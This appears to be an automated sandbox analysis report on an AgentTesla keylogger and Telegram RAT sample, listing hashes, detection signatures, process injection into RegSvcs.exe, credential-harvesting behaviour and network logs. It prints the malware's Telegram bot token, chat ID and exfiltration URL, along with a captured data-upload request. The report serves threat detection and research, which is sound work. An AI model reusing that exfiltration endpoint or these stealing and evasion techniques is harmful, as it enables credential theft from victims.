Edit tour

Windows Analysis Report
g0PWOnCNZH.exe

Overview

General Information

Sample Name:	g0PWOnCNZH.exe
Original Sample Name:	87be1ac6122ed0c75b3af80696b9e686.exe
Analysis ID:	830729
MD5:	87be1ac6122ed0c75b3af80696b9e686
SHA1:	28954d7b81380a52dc012eb21c4769fe54070a5c
SHA256:	de673c6577604d1036c5df6d67d9f5f9010eeb367a43ec7712b5614f70b725cd
Tags:	32AgentTeslaexetrojan
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected Telegram RAT

Yara detected AgentTesla

Snort IDS alert for network traffic

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Uses the Telegram API (likely for C&C communication)

Machine Learning detection for sample

Allocates memory in foreign processes

May check the online IP address of the machine

Injects a PE file into a foreign processes

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

g0PWOnCNZH.exe (PID: 5956 cmdline: C:\Users\user\Desktop\g0PWOnCNZH.exe MD5: 87BE1AC6122ED0C75B3AF80696B9E686)

RegSvcs.exe (PID: 6088 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based keylogger and RAT readily available to actors. Logs keystrokes and the host's clipboard and beacons this information back to the C2.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/ https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot2134979594:AAFk4QkrlHlt2a-q-EhIoHZBbzxSH0QxiBI/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot2134979594:AAFk4QkrlHlt2a-q-EhIoHZBbzxSH0QxiBI/sendMessage?chat_id=1295185895"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 6088	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 6088	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 6088	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 1 entries

Snort Signatures

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.3 - Destination IP: 149.154.167.220

Timestamp:	192.168.2.3149.154.167.220496854432851779 03/20/23-16:41:25.765012
SID:	2851779
Source Port:	49685
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: g0PWOnCNZH.exe	Virustotal: Detection: 43%			Perma Link
Source: g0PWOnCNZH.exe	ReversingLabs: Detection: 26%

Machine Learning detection for sample

Source: g0PWOnCNZH.exe

Joe Sandbox ML: detected

Source: 0.2.g0PWOnCNZH.exe.41c9fd0.11.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot2134979594:AAFk4QkrlHlt2a-q-EhIoHZBbzxSH0QxiBI/sendMessage?chat_id=1295185895"}
Source: RegSvcs.exe.6088.1.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot2134979594:AAFk4QkrlHlt2a-q-EhIoHZBbzxSH0QxiBI/sendMessage"}

Source: unknown	HTTPS traffic detected: 64.185.227.155:443 -> 192.168.2.3:49684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49685 version: TLS 1.2

Source:	Binary string: HWrU.pdb source: g0PWOnCNZH.exe
Source:	Binary string: HWrU.pdbSHA256 source: g0PWOnCNZH.exe

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.3:49685 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

May check the online IP address of the machine

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: api.ipify.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: api.ipify.org

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: POST /bot2134979594:AAFk4QkrlHlt2a-q-EhIoHZBbzxSH0QxiBI/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8db2961f20f6dfcHost: api.telegram.orgContent-Length: 972Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 64.185.227.155 64.185.227.155
Source: Joe Sandbox View	IP Address: 64.185.227.155 64.185.227.155

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443

Source: RegSvcs.exe, 00000001.00000002.524290015.0000000002921000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: RegSvcs.exe, 00000001.00000002.523506282.0000000000D01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: RegSvcs.exe, 00000001.00000002.524290015.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: g0PWOnCNZH.exe, 00000000.00000003.270701555.0000000005D50000.00000004.00000020.00020000.00000000.sdmp, g0PWOnCNZH.exe, 00000000.00000003.255937391.0000000005D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: g0PWOnCNZH.exe, 00000000.00000003.255937391.0000000005D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.comTC
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: g0PWOnCNZH.exe, 00000000.00000003.263731883.0000000005D55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersB
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: g0PWOnCNZH.exe, 00000000.00000002.275360961.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comgrito
Source: g0PWOnCNZH.exe, 00000000.00000002.275360961.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.coml1
Source: g0PWOnCNZH.exe, 00000000.00000002.275360961.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.como
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: g0PWOnCNZH.exe, 00000000.00000003.253963556.0000000005D58000.00000004.00000020.00020000.00000000.sdmp, g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: g0PWOnCNZH.exe, 00000000.00000003.253963556.0000000005D58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnD
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: g0PWOnCNZH.exe, 00000000.00000003.261346015.0000000005D55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htmR
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: g0PWOnCNZH.exe, 00000000.00000003.261959194.0000000005D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.monotype.
Source: g0PWOnCNZH.exe, 00000000.00000003.261959194.0000000005D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.monotype.U
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: g0PWOnCNZH.exe, 00000000.00000003.252565247.0000000005D6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com2
Source: g0PWOnCNZH.exe, 00000000.00000003.252565247.0000000005D6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comTF
Source: g0PWOnCNZH.exe, 00000000.00000003.252565247.0000000005D6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comiv
Source: g0PWOnCNZH.exe, 00000000.00000003.252565247.0000000005D6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comq
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: g0PWOnCNZH.exe, 00000000.00000003.254042499.0000000005D58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com(
Source: g0PWOnCNZH.exe, 00000000.00000003.254042499.0000000005D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.comw
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: RegSvcs.exe, 00000001.00000002.524290015.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: RegSvcs.exe, 00000001.00000002.524290015.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: RegSvcs.exe, 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: RegSvcs.exe, 00000001.00000002.524290015.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot2134979594:AAFk4QkrlHlt2a-q-EhIoHZBbzxSH0QxiBI/
Source: RegSvcs.exe, 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot2134979594:AAFk4QkrlHlt2a-q-EhIoHZBbzxSH0QxiBI/sendDocument
Source: RegSvcs.exe, 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org4

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 64.185.227.155:443 -> 192.168.2.3:49684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49685 version: TLS 1.2

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_014FA720	0_2_014FA720
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_014FA780	0_2_014FA780
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_014FC844	0_2_014FC844
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_014FF1E8	0_2_014FF1E8
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_014FF1F8	0_2_014FF1F8
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F99D8	0_2_073F99D8
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F9DE8	0_2_073F9DE8
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F0360	0_2_073F0360
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F0350	0_2_073F0350
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F3B45	0_2_073F3B45
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F00B1	0_2_073F00B1
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F00C0	0_2_073F00C0
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_07B76478	0_2_07B76478
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_07B7653D	0_2_07B7653D
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_07B7003A	0_2_07B7003A
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_07B76468	0_2_07B76468
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_07B70040	0_2_07B70040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00E9A958	1_2_00E9A958
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00E9C918	1_2_00E9C918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00E99D40	1_2_00E99D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00E9A088	1_2_00E9A088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00E95A20	1_2_00E95A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0642DCB8	1_2_0642DCB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0642AAF8	1_2_0642AAF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0642EB50	1_2_0642EB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_068DF2BB	1_2_068DF2BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_068D0040	1_2_068D0040

Source: g0PWOnCNZH.exe, 00000000.00000002.275454005.0000000002E27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCruiser.dll, vs g0PWOnCNZH.exe
Source: g0PWOnCNZH.exe, 00000000.00000002.275454005.0000000002E27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedde931e2-2d30-421f-8574-75b7b25b3267.exe4 vs g0PWOnCNZH.exe
Source: g0PWOnCNZH.exe, 00000000.00000002.277978559.000000000419C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedde931e2-2d30-421f-8574-75b7b25b3267.exe4 vs g0PWOnCNZH.exe
Source: g0PWOnCNZH.exe, 00000000.00000002.300220026.0000000007630000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameOutimurs.dll2 vs g0PWOnCNZH.exe
Source: g0PWOnCNZH.exe, 00000000.00000002.277978559.0000000003F6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOutimurs.dll2 vs g0PWOnCNZH.exe
Source: g0PWOnCNZH.exe, 00000000.00000000.249089263.0000000000A48000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHWrU.exe> vs g0PWOnCNZH.exe
Source: g0PWOnCNZH.exe, 00000000.00000002.277978559.0000000003DE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOutimurs.dll2 vs g0PWOnCNZH.exe
Source: g0PWOnCNZH.exe	Binary or memory string: OriginalFilenameHWrU.exe> vs g0PWOnCNZH.exe

Source: g0PWOnCNZH.exe	Virustotal: Detection: 43%
Source: g0PWOnCNZH.exe	ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\g0PWOnCNZH.exe C:\Users\user\Desktop\g0PWOnCNZH.exe
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\g0PWOnCNZH.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@3/2

Source: g0PWOnCNZH.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe

Mutant created: \Sessions\1\BaseNamedObjects\tzZlkogNkifmSNDNRsGiYwDEq

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source:	Binary string: HWrU.pdb source: g0PWOnCNZH.exe
Source:	Binary string: HWrU.pdbSHA256 source: g0PWOnCNZH.exe

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F7060 push eax; ret	0_2_073F7309
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F352E push ecx; iretd	0_2_073F352F
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F34DD pushfd ; iretd	0_2_073F34E4
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F391A pushad ; retf	0_2_073F3920
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F2111 push B8FFFFE3h; iretd	0_2_073F211C
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F3002 pushfd ; iretd	0_2_073F3007
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_073F5889 pushfd ; retn 0000h	0_2_073F588B
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Code function: 0_2_07B73200 pushad ; iretd	0_2_07B73203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00E90050 push edx; ret	1_2_00E9006A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00E9003D push edx; ret	1_2_00E9004A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00E90420 push edx; ret	1_2_00E9042A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00E90402 push edx; ret	1_2_00E9041A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_00E90B58 push edx; ret	1_2_00E90E16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06421A68 push edx; ret	1_2_06421A76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_06421950 push edx; ret	1_2_0642195E

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
